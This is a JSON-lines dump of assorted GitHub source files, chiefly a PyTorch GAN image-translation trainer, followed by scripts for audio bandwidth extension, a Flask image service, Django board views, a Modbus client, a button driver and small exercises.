generator_cam_loss\n )\n generator_loss.backward()\n\n self.generator_optim.step()\n self.patch_sampler_optim.step()\n\n return (\n generator_loss,\n generator_domain_gan_loss,\n generator_cam_gan_loss,\n generator_cam_loss,\n ), (nce_loss_both,\n nce_loss_x,\n nce_loss_y)\n\n def train(self):\n self.start_iter = 1\n if self.resume:\n model_list = glob(\n os.path.join(self.result_dir, self.dataset, 'model', '*.pt')\n )\n if not len(model_list) == 0:\n self.load(ckpt=self.ckpt)\n self.resume_scheduler_step()\n print(\"[*] load successful!\")\n\n loss_log_file = os.path.join(self.result_dir, self.dataset, 'loss_log.txt')\n lr_log_file = os.path.join(self.result_dir, self.dataset, 'lr_log.txt')\n\n if os.path.exists(loss_log_file):\n os.remove(loss_log_file)\n if os.path.exists(lr_log_file):\n os.remove(lr_log_file)\n\n print('[*] training...')\n start_time = time.time()\n\n for it in range(self.start_iter, self.iters + 1):\n self.iter = it\n self.lr_scheduler_step()\n\n self.generator.train()\n if self.use_global_discriminator:\n self.global_discriminator.train()\n if self.use_local_discriminator:\n self.local_discriminator.train()\n self.patch_sampler.train()\n\n try:\n real_A, _ = next(trainA_iter)\n except:\n trainA_iter = iter(self.trainA_loader)\n real_A, _ = next(trainA_iter)\n try:\n real_B, _ = next(trainB_iter)\n except:\n trainB_iter = iter(self.trainB_loader)\n real_B, _ = next(trainB_iter)\n\n real_A, real_B = real_A.to(self.device), real_B.to(self.device)\n\n # train discriminator\n (discriminator_loss,\n discriminator_domain_gan_loss,\n discriminator_cam_gan_loss) = self.train_discriminator(real_A, real_B)\n # train generator\n (\n (generator_loss,\n generator_domain_gan_loss,\n generator_cam_gan_loss,\n generator_cam_loss),\n (nce_loss_total,\n nce_loss_x,\n nce_loss_y)\n ) = self.train_generator(real_A, real_B)\n # clip parameter of AdaILN and ILN, applied after all optimizer steps\n self.generator.apply(self.Rho_clipper)\n lr_line_parts = [\n 'g_lr: %.8f, d_lr: %.8f, ps_lr: %.8f' % (\n self.generator_optim.param_groups[0]['lr'],\n self.discriminator_optim.param_groups[0]['lr'],\n self.patch_sampler_optim.param_groups[0]['lr'],\n )\n ]\n loss_line_parts = [\n 'd_loss: %.8f, d_dom_gan_loss: %.8f, d_cam_gan_loss: %.8f' % (\n discriminator_loss,\n discriminator_domain_gan_loss,\n discriminator_cam_gan_loss,),\n 'g_loss: %.8f, g_dom_gan_loss: %.8f, g_cam_gan_loss: %.8f, g_cam_loss: %.8f' % (\n generator_loss,\n generator_domain_gan_loss,\n generator_cam_gan_loss,\n generator_cam_loss\n ),\n 'nce_loss: %.8f, nce_x: %.8f, nce_y: %.8f' % (\n nce_loss_total,\n nce_loss_x,\n nce_loss_y\n ),\n ]\n time_line_part = '[%5d/%5d] time: %4.4f, ' % (it, self.iters, time.time() - start_time)\n lr_line = time_line_part + ', '.join(lr_line_parts)\n loss_line = time_line_part + ', '.join(loss_line_parts)\n\n print(loss_line)\n with open(loss_log_file, 'a') as ll:\n ll.write(f'{loss_line}\\n')\n with open(lr_log_file, 'a') as ll:\n ll.write(f'{lr_line}\\n')\n\n if it % self.display_freq == 0:\n self.generator.eval(),\n if self.use_global_discriminator:\n self.global_discriminator.eval()\n if self.use_local_discriminator:\n self.local_discriminator.eval()\n self.patch_sampler.eval()\n\n try:\n _, _ = next(trainA_eval_iter)\n except:\n trainA_eval_iter = iter(self.trainA_loader)\n try:\n _, _ = next(trainB_eval_iter)\n except:\n trainB_eval_iter = iter(self.trainB_loader)\n\n try:\n _, _ = next(valA_iter)\n except:\n valA_iter = iter(self.valA_loader)\n try:\n _, _ = next(valB_iter)\n except:\n valB_iter = iter(self.valB_loader)\n\n try:\n _, _ = next(testA_iter)\n except:\n testA_iter = iter(self.testA_loader)\n try:\n _, _ = next(testB_iter)\n except:\n testB_iter = iter(self.testB_loader)\n\n plot_translation_examples(\n generator=self.generator,\n patch_sampler=self.patch_sampler,\n trainA_iter=trainA_eval_iter,\n trainA_loader=self.trainA_loader,\n trainB_iter=trainB_eval_iter,\n trainB_loader=self.trainB_loader,\n valA_iter=valA_iter,\n valA_loader=self.valA_loader,\n valB_iter=valB_iter,\n valB_loader=self.valB_loader,\n testA_iter=testA_iter,\n testA_loader=self.testA_loader,\n testB_iter=testB_iter,\n testB_loader=self.testB_loader,\n device=self.device,\n A2B_results_filename=os.path.join(\n self.result_dir,\n self.dataset,\n 'translations',\n 'evolution',\n 'A2B_%07d.png' % it\n ),\n B2B_results_filename=os.path.join(\n self.result_dir,\n self.dataset,\n 'translations',\n 'evolution',\n 'B2B_%07d.png' % it\n ),\n img_size=self.img_size,\n patch_sampling_type=self.patch_sampling_type\n )\n\n self.generator.train()\n if self.use_global_discriminator:\n self.global_discriminator.train()\n if self.use_local_discriminator:\n self.local_discriminator.train()\n self.patch_sampler.train()\n\n if it % self.save_freq == 0:\n self.save(ckpt_file_name='iter_%07d.pt' % it)\n\n if it % 1000 == 0:\n self.save(ckpt_file_name='latest.pt')\n\n if it % self.eval_freq == 0:\n self.eval()\n\n def save(self, ckpt_file_name: str):\n params = {}\n params['generator'] = self.generator.state_dict()\n if self.use_global_discriminator:\n params['global_discriminator'] = self.global_discriminator.state_dict()\n if self.use_local_discriminator:\n params['local_discriminator'] = self.local_discriminator.state_dict()\n params['patch_sampler'] = self.patch_sampler.state_dict()\n params['generator_optim'] = self.generator_optim.state_dict()\n params['discriminator_optim'] = self.discriminator_optim.state_dict()\n params['patch_sampler_optim'] = self.patch_sampler_optim.state_dict()\n params['iter'] = self.iter\n params['smallest_val_fid'] = self.smallest_val_fid\n torch.save(\n params,\n os.path.join(\n self.result_dir,\n self.dataset,\n 'model',\n ckpt_file_name\n )\n )\n\n def load(self, ckpt_file_name: str):\n params = torch.load(\n os.path.join(\n self.result_dir,\n self.dataset,\n 'model',\n ckpt_file_name\n ),\n map_location=self.device\n )\n self.generator.load_state_dict(params['generator'])\n if self.use_global_discriminator:\n self.global_discriminator.load_state_dict(params['global_discriminator'])\n if self.use_local_discriminator:\n self.local_discriminator.load_state_dict(params['local_discriminator'])\n self.patch_sampler.load_state_dict(params['patch_sampler'])\n # restore optimizers\n self.generator_optim.load_state_dict(params['generator_optim'])\n self.discriminator_optim.load_state_dict(params['discriminator_optim'])\n self.patch_sampler_optim.load_state_dict(params['patch_sampler_optim'])\n # restore constants\n self.start_iter = params['iter']\n self.smallest_val_fid = params['smallest_val_fid']\n\n def eval(self):\n results_dir = Path(self.result_dir, self.dataset)\n\n model_translations_dir = Path(self.result_dir, self.dataset, 'translations')\n if not os.path.exists(model_translations_dir):\n os.mkdir(model_translations_dir)\n model_iter_translations_dir = Path(\n model_translations_dir,\n 'iter_%07d' % self.iter\n )\n\n if not os.path.exists(model_iter_translations_dir):\n os.mkdir(model_iter_translations_dir)\n\n model_train_translations_dir = Path(model_iter_translations_dir, 'train')\n model_val_translations_dir = Path(model_iter_translations_dir, 'val')\n\n if not os.path.exists(model_train_translations_dir):\n os.mkdir(model_train_translations_dir)\n if not os.path.exists(model_val_translations_dir):\n os.mkdir(model_val_translations_dir)\n\n if not os.path.exists(model_train_translations_dir):\n os.mkdir(model_train_translations_dir)\n if not os.path.exists(model_val_translations_dir):\n os.mkdir(model_val_translations_dir)\n\n self.generator.eval()\n # translate train and val\n print('translating train...')\n translate_dataset(\n dataset_loader=self.trainA_without_aug_loader,\n translations_dirs=[model_train_translations_dir],\n generator=self.generator,\n device=self.device\n )\n print('translating val...')\n translate_dataset(\n dataset_loader=self.valA_loader,\n translations_dirs=[model_val_translations_dir],\n generator=self.generator,\n device=self.device\n )\n # compute metrics\n target_real_train_dir = os.path.join(\n 'dataset',\n self.dataset,\n 'trainB'\n )\n target_real_val_dir = os.path.join(\n 'dataset',\n self.dataset,\n 'valB'\n )\n train_metrics = torch_fidelity.calculate_metrics(\n input1=str(target_real_train_dir),\n input2=str(Path(model_train_translations_dir)), # fake dir\n fid=True,\n verbose=False,\n cuda=torch.cuda.is_available(),\n )\n val_metrics = torch_fidelity.calculate_metrics(\n input1=str(target_real_val_dir),\n input2=str(Path(model_val_translations_dir)), # fake dir,\n fid=True,\n verbose=False,\n rng_seed=self.seed,\n cuda=torch.cuda.is_available(),\n )\n # update logs\n train_log_file = os.path.join(results_dir, 'train_log.txt')\n val_log_file = os.path.join(results_dir, 'val_log.txt')\n smallest_val_fid_file = os.path.join(results_dir, 'smallest_val_fid.txt')\n with open(train_log_file, 'a') as tl:\n tl.write(f'iter: {self.iter}\\n')\n tl.write(\n f'frechet_inception_distance: {train_metrics[\"frechet_inception_distance\"]}\\n'\n )\n with open(val_log_file, 'a') as vl:\n vl.write(f'iter: {self.iter}\\n')\n vl.write(\n f'frechet_inception_distance: {val_metrics[\"frechet_inception_distance\"]}\\n'\n )\n # track frechet_inception_distance\n if val_metrics['frechet_inception_distance'] < self.smallest_val_fid:\n self.smallest_val_fid = val_metrics['frechet_inception_distance']\n print(\n f'{self.smallest_val_fid} is the smallest val fid so far, saving this model...'\n )\n self.save(ckpt_file_name='smallest_val_fid.pt')\n if os.path.exists(smallest_val_fid_file):\n os.remove(smallest_val_fid_file)\n\n with open(smallest_val_fid_file, 'a') as tl:\n tl.write(\n f'iter: {self.iter}\\n'\n )\n tl.write(\n f'frechet_inception_distance: {val_metrics[\"frechet_inception_distance\"]}\\n'\n )\n self.generator.train()\n\n def test(self):\n model_list = glob(\n os.path.join(\n self.result_dir,\n self.dataset,\n 'model',\n '*.pt'\n )\n )\n\n if not len(model_list) == 0:\n self.load(ckpt_file_name=self.ckpt)\n print(\"[*] load successful\")\n else:\n print(\"[*] load failed\")\n return\n\n self.generator.eval()\n for n, (real_A, _) in enumerate(self.testA_loader):\n img_path, _ = self.testA_loader.dataset.samples[n]\n img_name = Path(img_path).name.split('.')[0]\n translated = generate_translation_example(\n real_A,\n generator=self.generator,\n device=self.device,\n include_cam_heatmap=True\n )\n translated_out_file = os.path.join(\n self.result_dir, self.dataset, 'test', f'{img_name}_fake_B.jpg'\n )\n cv2.imwrite(translated_out_file, translated)\n\n for n, (real_B, _) in enumerate(self.testB_loader):\n img_path, _ = self.testB_loader.dataset.samples[n]\n img_name = Path(img_path).name.split('.')[0]\n translated = generate_translation_example(\n real_B,\n generator=self.generator,\n device=self.device,\n include_cam_heatmap=True\n )\n translated_out_file = os.path.join(\n self.result_dir, self.dataset, 'test', f'{img_name}_fake_B.jpg'\n )\n cv2.imwrite(translated_out_file, translated)\n\n def translate(self):\n model_list = glob(\n os.path.join(\n self.result_dir,\n self.dataset,\n 'model',\n '*.pt'\n )\n )\n if not len(model_list) == 0:\n self.load(ckpt_file_name=self.ckpt)\n print(\"[*] load successful\")\n else:\n print(\"[*] load failed\")\n return\n\n if not os.path.exists('translations'):\n os.mkdir('translations')\n\n model_translations_dir = Path('translations', self.dataset)\n if not os.path.exists(model_translations_dir):\n os.mkdir(model_translations_dir)\n\n model_with_ckpt_translations_dir = Path(\n model_translations_dir,\n Path(self.ckpt).stem\n )\n if not os.path.exists(model_with_ckpt_translations_dir):\n os.mkdir(model_with_ckpt_translations_dir)\n\n train_translated_imgs_dir = Path(model_with_ckpt_translations_dir, 'train')\n val_translated_imgs_dir = Path(model_with_ckpt_translations_dir, 'val')\n test_translated_imgs_dir = Path(model_with_ckpt_translations_dir, 'test')\n full_translated_imgs_dir = Path(model_with_ckpt_translations_dir, 'full')\n\n if not os.path.exists(train_translated_imgs_dir):\n os.mkdir(train_translated_imgs_dir)\n if not os.path.exists(test_translated_imgs_dir):\n os.mkdir(test_translated_imgs_dir)\n if not os.path.exists(val_translated_imgs_dir):\n os.mkdir(val_translated_imgs_dir)\n if not os.path.exists(full_translated_imgs_dir):\n os.mkdir(full_translated_imgs_dir)\n\n self.generator.eval()\n\n print('translating train...')\n translate_dataset(\n dataset_loader=self.trainA_without_aug_loader,\n translations_dirs=[train_translated_imgs_dir, full_translated_imgs_dir],\n generator=self.generator,\n device=self.device,\n include_attention=self.translate_include_attention,\n attention_position=self.translate_attention_position,\n )\n print('translating val...')\n translate_dataset(\n dataset_loader=self.valA_loader,\n translations_dirs=[val_translated_imgs_dir, full_translated_imgs_dir],\n generator=self.generator,\n device=self.device,\n include_attention=self.translate_include_attention,\n attention_position=self.translate_attention_position,\n )\n print('translating test...')\n translate_dataset(\n dataset_loader=self.testA_loader,\n translations_dirs=[test_translated_imgs_dir, full_translated_imgs_dir],\n generator=self.generator,\n device=self.device,\n include_attention=self.translate_include_attention,\n attention_position=self.translate_attention_position,\n )\n","repo_name":"gboduljak/lagan","sub_path":"lagan.py","file_name":"lagan.py","file_ext":"py","file_size_in_byte":32392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24227784071","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 17 13:04:09 2018\r\n\r\n@author: Geoffroy Leconte\r\n\"\"\"\r\n\r\n\r\nimport librosa\r\nimport librosa.display, librosa.core, librosa.output\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom math import *\r\nimport fonctions_utilitaires as f_uti\r\nimport os\r\n\r\n\r\n#### chargement des données ####\r\n# direction des fichiers audio test\r\naudio_dir = 'C:/Users/Geoffroy Leconte/Documents/cours/projet AUDIO/quelques sons/LibriSpeech/dev-clean/84/121123/'\r\nsound_f = os.path.join(audio_dir, '84-121123-0001.flac')\r\nimport soundfile as sf\r\n# on charge un son\r\ny, sr = sf.read(sound_f)\r\nl_sig = len(y)\r\n\r\n\r\n\r\n##### Bloc pour trouver à quelle fréquence on rééchantillonne #####\r\nfreqs = librosa.core.fft_frequencies(sr=sr, n_fft=1024)\r\n# freqs = (0, sr/n_fft, 2*sr/n_fft, …, sr/2)\r\ncut=150\r\n#freqs[50] = 2343.75 => on teste 5000 Hz pour l'échantillonnage\r\nfreqs1 = librosa.core.fft_frequencies(sr=5000, n_fft=1024)\r\n\r\n\r\n\r\n\r\n#### signal s_full rééchantillonné ####\r\n# rééchantillonnage:\r\nsr1 = 5000\r\ny1 = librosa.resample(y, sr, sr1)\r\nl_sig1 = len(y1)\r\nlibrosa.output.write_wav('C:/Users/Geoffroy Leconte/Documents/cours/projet AUDIO/quelques sons/s_full.wav'\r\n , y1.astype(np.float32), sr1)\r\n\r\n\r\n\r\n#### signal basses fréquences seulement ####\r\nD1 = librosa.stft(y1, n_fft=1024)\r\ns_gt = librosa.istft(D1,length=l_sig1, hop_length=256)\r\nD_low = np.copy(D1)\r\nD_low[256:,:] = 0\r\ns_low = librosa.istft(D_low, length=l_sig1, hop_length=256)\r\nlibrosa.output.write_wav('C:/Users/Geoffroy Leconte/Documents/cours/projet AUDIO/quelques sons/s_low.wav'\r\n , s_low, sr1)\r\n\r\n\r\n\r\n#### reconstruction SBR des hautes fréquences ####\r\nD1_low = D1[:256,:]\r\n# enveloppe spectrale (moyenne de chaque trame (colonne) du spectrogramme)\r\nsp_env1 = f_uti.spectral_env(D1) \r\n# reconstruction du signal: pour les hf, on utilise les bf, chaque trame (colonne)\r\n# des bf est multipliée par le coefficient correspondant de l'enveloppe spectrale\r\n# puis GL sur les hf uniquement (on connait la phase bf).\r\ns1_recons, D1_recons = f_uti.recons_sig(D1_low, sp_env1, l_sig1, 100)\r\nlibrosa.output.write_wav('C:/Users/Geoffroy Leconte/Documents/cours/projet AUDIO/quelques sons/s_rec_sbr.wav'\r\n , s1_recons, sr1)\r\n\r\n\r\n\r\n#### affichage des SNR ####\r\nprint(' snr signal bf vs signal gt: ', f_uti.snr2(np.abs(D1), np.abs(D_low)), '\\n',\r\n 'snr signal recons vs signal gt: ', f_uti.snr2(np.abs(D1), np.abs(D1_recons)))\r\n\r\n\r\n\r\ntest_out_dir = 'C:/Users/Geoffroy Leconte/Documents/cours/projet AUDIO/out_sounds/out_sounds_sbr'\r\npipeline_recons_sig_sbr(np.abs(D1_low),np.abs(D1[256:512,:]),np.angle(D1_low),\r\n np.angle(D1[256:512,:]), 100, test_out_dir)","repo_name":"geoffroyleconte/projetAUDIO","sub_path":"decodage_python_2.py","file_name":"decodage_python_2.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32917602939","text":"#!/usr/bin/env python\n\nfrom flask import Flask, jsonify, send_from_directory\nimport rq_dashboard\nimport os\nimport json\n\nfrom redis import Redis\nfrom rq import Queue\n\nfrom vernacular_image import settings\nfrom vernacular_image.workers import ImageProcessor\n\n\nwith open('/vernacular_image/config.json') as f:\n data = json.load(f)\n image_config = dict((i[\"id\"],i) for i in data)\n\n\njobQueueRedis = Redis(host='redis', port=6379, db=0)\ndataRedis = Redis(host='redis', port=6379, db=1)\nqueue = Queue(connection=jobQueueRedis)\napp = Flask(__name__)\napp.config['RQ_REDIS_URL'] = 'redis://redis:6379/0'\napp.config.from_object(settings)\napp.register_blueprint(rq_dashboard.blueprint, url_prefix=\"/rq\")\n\n@app.route('/media1/<path:path>')\ndef static_file(path):\n print(\">>\")\n print(path)\n return app.send_static_file(path)\n\n@app.route(\"/banner/<int:movie>/<string:language>\")\ndef banner(movie, language):\n key = \"idx:{}:{}\".format(movie, language)\n bannerFile = dataRedis.get(key)\n if bannerFile:\n return jsonify({\n \"bannerFile\":bannerFile.decode(\"utf-8\")\n })\n\n job = queue.enqueue(\n ImageProcessor.create_banner,\n image_config[movie],\n language, result_ttl=86400)\n return jsonify({\n \"jobId\":job.id\n })\n\n\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',port=8080)\n","repo_name":"arinkverma/vernacular-image","sub_path":"vernacular_image/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5400137647","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isValidBST(self, root: Optional[TreeNode]) -> bool:\n # do an in order traversal\n def in_order_traversal(n):\n out = []\n if n.left:\n out += in_order_traversal(n.left)\n out += [n.val]\n if n.right:\n out += in_order_traversal(n.right)\n \n return out\n \n check_list = [-math.inf] + in_order_traversal(root) + [math.inf]\n \n # check if every element is smaller than the next element (and also if it is greater than previous, but this gets adjusted in the smaller than check.) Think more for realization.\n for i in range(1, len(check_list) - 1):\n if check_list[i] >= check_list[i + 1]:\n return False\n return True\n","repo_name":"gkpani97/Grind75","sub_path":"week 4/f. validate binary search tree LC 98 M.py","file_name":"f. validate binary search tree LC 98 M.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38962729653","text":"from django.contrib.auth.models import User\nfrom django.shortcuts import redirect\n\nfrom django.urls import reverse_lazy\nfrom django.views.generic import ListView, UpdateView, CreateView, DeleteView\nfrom .models import Post, Responses\nfrom .forms import PostForm, ResponseForm\nfrom .filters import PostFilter\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n\nclass PostsList(ListView):\n model = Post\n ordering = '-create_time'\n template_name = 'posts.html'\n context_object_name = 'posts'\n paginate_by = 4\n\n def get_queryset(self):\n queryset = super().get_queryset()\n self.filterset = PostFilter(self.request.GET, queryset)\n return self.filterset.qs\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filterset'] = self.filterset\n return context\n\n\nclass PostDetail(LoginRequiredMixin, CreateView):\n model = Post\n template_name = 'post.html'\n context_object_name = 'post'\n form_class = ResponseForm\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n post_pk = self.kwargs.get('pk', None)\n post_query = Post.objects.filter(id=post_pk)\n post_object = post_query[0]\n context['post'] = post_object\n return context\n\n def form_valid(self, form):\n response = form.save(commit=False)\n author_object = User.objects.filter(id=self.request.user.id)\n response.author = author_object[0]\n news_pk = self.kwargs.get('pk', None)\n post_object = Post.objects.filter(id=news_pk)\n response.post = post_object[0]\n response.save()\n\n return super().form_valid(form)\n\n def get_success_url(self):\n return reverse_lazy('post_list')\n\n\nclass PostCreate(LoginRequiredMixin, CreateView):\n form_class = PostForm\n model = Post\n template_name = 'post_create.html'\n success_url = reverse_lazy('post_list')\n\n def form_valid(self, form):\n post = form.save(commit=False)\n author_object = User.objects.filter(id=self.request.user.id)\n post.author = author_object[0]\n post.save()\n\n return super().form_valid(form)\n\n\nclass PostUpdate(LoginRequiredMixin, UpdateView):\n form_class = PostForm\n model = Post\n template_name = 'post_create.html'\n success_url = reverse_lazy('my_posts')\n\n\nclass PostDelete(LoginRequiredMixin, DeleteView):\n model = Post\n template_name = 'post_delete.html'\n success_url = reverse_lazy('my_posts')\n\n\nclass PostResponse(LoginRequiredMixin, CreateView):\n form_class = ResponseForm\n model = Responses\n template_name = 'post_response.html'\n\n def form_valid(self, form):\n response = form.save(commit=False)\n author_object = User.objects.filter(id=self.request.user.id)\n response.author = author_object[0]\n post_object = Post.objects.filter(id=self.request.post.id)\n response.post = post_object[0]\n response.save()\n\n return super().form_valid(form)\n\n\nclass MyPosts(ListView):\n model = Post\n ordering = '-create_time'\n template_name = 'my_posts.html'\n context_object_name = 'my_posts'\n paginate_by = 2\n\n def get_queryset(self):\n queryset = super().get_queryset()\n my_queryset = queryset.filter(author=self.request.user)\n self.filterset = PostFilter(self.request.GET, my_queryset)\n return self.filterset.qs\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['filterset'] = self.filterset\n return context\n\n\nclass PostResponses(ListView):\n model = Responses\n ordering = '-create_time'\n template_name = 'post_responses.html'\n context_object_name = 'responses'\n paginate_by = 3\n\n def get_queryset(self):\n self.queryset = Responses.objects.filter(post=self.kwargs['post_id'])\n return super().get_queryset()\n\n\nclass ResponseDelete(DeleteView):\n model = Responses\n template_name = 'response_delete.html'\n success_url = reverse_lazy('my_posts')\n\n\ndef accept_response(request, pk):\n response = Responses.objects.get(id=pk)\n email = response.author.email\n\n html_content = render_to_string(\n 'responser_not.html',\n {\n 'post': response,\n }\n )\n\n msg = EmailMultiAlternatives(\n subject=f'Ваш отклик приняли!',\n body=response.text,\n from_email='lion4652@yandex.ru',\n to=[email],\n )\n msg.attach_alternative(html_content, \"text/html\")\n\n msg.send()\n\n response.delete()\n return redirect('my_posts')\n\n","repo_name":"Darkfure/Simple_site","sub_path":"board/board_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42297393617","text":"# -*- coding: utf-8 -*-\n# author: lijie\nimport xmodbus.client as client\nimport xmodbus.pdu as pdu\nimport asyncio\n\n\nclass AioModbusClient(client.ModbusClient):\n \"\"\"异步方式的modbus客户端\"\"\"\n async def process_adu_request(self, request_adu, timeout=None):\n \"\"\"发送并ADU请求\"\"\"\n bytes_data = request_adu.encode()\n await self.channel.aio_write(bytes_data)\n\n # 复位帧产生器,准备接收数据\n self.framer.reset()\n while True:\n need = self.framer.response_need_bytes_count(request_adu)\n if need <= 0:\n break\n\n data = await self.channel.aio_read(need)\n if len(data) == 0:\n break\n\n self.framer.push(data)\n\n if self.framer.is_response_ready(request_adu):\n pass\n\n return self.framer.get_response_adu(request_adu)\n\n def open(self):\n \"\"\"执行客户端的打开操作,若初始化时制定了auto_open=True则不需要显示调用\"\"\"\n open_task = self.channel.aio_open(self)\n return asyncio.create_task(open_task)\n\n def read_coils(self, address, quantity, unit_id):\n \"\"\"读线圈\"\"\"\n request = pdu.ReadCoilsRequest(address, quantity)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def read_discrete_inputs(self, address, quantity, unit_id):\n \"\"\"读离散输入\"\"\"\n request = pdu.ReadDiscreteInputsRequest(address, quantity)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def read_holding_registers(self, address, quantity, unit_id):\n \"\"\"读保持寄存器\"\"\"\n request = pdu.ReadHoldingRegistersRequest(address, quantity)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def read_input_register(self, address, quantity, unit_id):\n \"\"\"读输入寄存器\"\"\"\n request = pdu.ReadInputRegisterRequest(address, quantity)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def write_single_coil(self, address, on_or_off, unit_id):\n \"\"\"写单个线圈\"\"\"\n request = pdu.WriteSingleCoilRequest(address, on_or_off)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def write_single_register(self, address, value, unit_id):\n \"\"\"写单个寄存器\"\"\"\n request = pdu.WriteSingleRegisterRequest(address, value)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def write_multiple_coils(self, address, coils, unit_id):\n \"\"\"写多个线圈\"\"\"\n request = pdu.WriteMultipleCoilsRequest(address, coils)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def write_multiple_registers(self, address, values, unit_id):\n \"\"\"写多个寄存器\"\"\"\n request = pdu.WriteMultiRegistersRequest(address, values)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def read_device_identification(self, obj_id, unit_id):\n \"\"\"读设备信息\"\"\"\n request = pdu.ReadDeviceIdentificationRequest(obj_id)\n adu = self.framer.build_request_adu(request, unit_id)\n return asyncio.create_task(self.process_adu_request(adu))\n\n def close(self):\n \"\"\"关闭\"\"\"\n","repo_name":"bedreamer/xmodbus","sub_path":"xmodbus/client/client_aio.py","file_name":"client_aio.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"640110103","text":"from mraa import *\nfrom time import *\n\nclass button(object):\n def __init__(self, pin, low=False):\n self._gpi = Gpio(pin, True, True)\n self._gpi.dir(DIR_IN)\n self._low = low\n\n def read(self):\n val = self._gpi.read()\n if self._low:\n if val:\n return 0\n return 1\n return val\n\n def wait(self, s=0):\n t0 = time()\n while not self.read():\n if s and (time() - t0 > s):\n break\n\n","repo_name":"MinnowBoard-Projects/minnow-maker","sub_path":"pyDrivers/button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"15806566917","text":"import cv2 as cv\nimport numpy as np\nfrom PIL import Image\nimport os\n#加载的库,opencv pillow numpy\n#如果不是第一次运行,最好先删除after目录下的所有图片\nv_cap = cv.VideoCapture('Bad Apple.avi') # 打开视频\nf_total = v_cap.get(cv.CAP_PROP_FRAME_COUNT)\n\nprint(\"视频总长度\",f_total)\n\nf_skip = 4 # 隔3帧截一次图,数字越小,播放越细腻\n\nif v_cap.isOpened(): # 判断是否正常打开\n frame_count=0\n file_count = 0\n\n while True: # 循环读取视频帧\n v_cap.set(cv.CAP_PROP_POS_FRAMES,frame_count)\n rval, frame = v_cap.read()\n if rval==False:\n break\n frame = cv.resize(frame, (128, 64)) # 调整尺寸\n gray=Image.fromarray(cv.cvtColor(frame,cv.COLOR_RGB2BGR))\n new=gray.convert(\"1\")\n new.save(f\"after/%4.4d.bmp\"%file_count, 'bmp')\n file_count += 1\n frame_count += f_skip\n print(\"总共转换了%d张图片\"%file_count)\n","repo_name":"wangshujun-tj/FB-SSD1306-badApple","sub_path":"GetFrame.py","file_name":"GetFrame.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23506535719","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n\nR, C = map(int, input().split())\n\nmatrix = []\nfor _ in range(R):\n line = list(input().strip('\\n'))\n matrix.append(line)\n\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\n\nanswer = 0\ncheck = [0] * 26\nvisited = [[0] * C for _ in range(R)]\ndef dfs(x, y, cnt):\n global answer\n answer = max(answer, cnt)\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n if 0 <= nx < R and 0 <= ny < C and visited[nx][ny] == 0 and check[ord(matrix[nx][ny]) - ord('A')] == 0:\n visited[nx][ny] = 1\n check[ord(matrix[nx][ny]) - ord('A')] += 1\n dfs(nx, ny, cnt+1)\n visited[nx][ny] = 0\n check[ord(matrix[nx][ny]) - ord('A')] -= 1\n\n \ncheck[ord(matrix[0][0]) - ord('A')] = 1\nvisited[0][0] = 1\ndfs(0, 0, 1)\nprint(answer)","repo_name":"nkrang/Algorithm-Study","sub_path":"202111/B-1987/알파벳.py","file_name":"알파벳.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27473780002","text":"\nfrom mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n \n\n\nfig = plt.figure()\n \n# syntax for 3-D projection\nax = plt.axes(projection ='3d')\n\n \nfor k in range (3):\n for j in range (5): \n for i in range (7):\n plot = ax.scatter(k, j, i, c = i , cmap='viridis', marker=\".\", norm = matplotlib.colors.Normalize(vmin=0, vmax=6, clip=False)) # s is marker size # norm = Normalize \n\n\n\nplt.colorbar(plot) # mappable was found to use for colorbar creation\n\nax.set_title('3D line plot geeks for geeks')\n\nax.set_xlabel('X Label')\nax.set_ylabel('Y 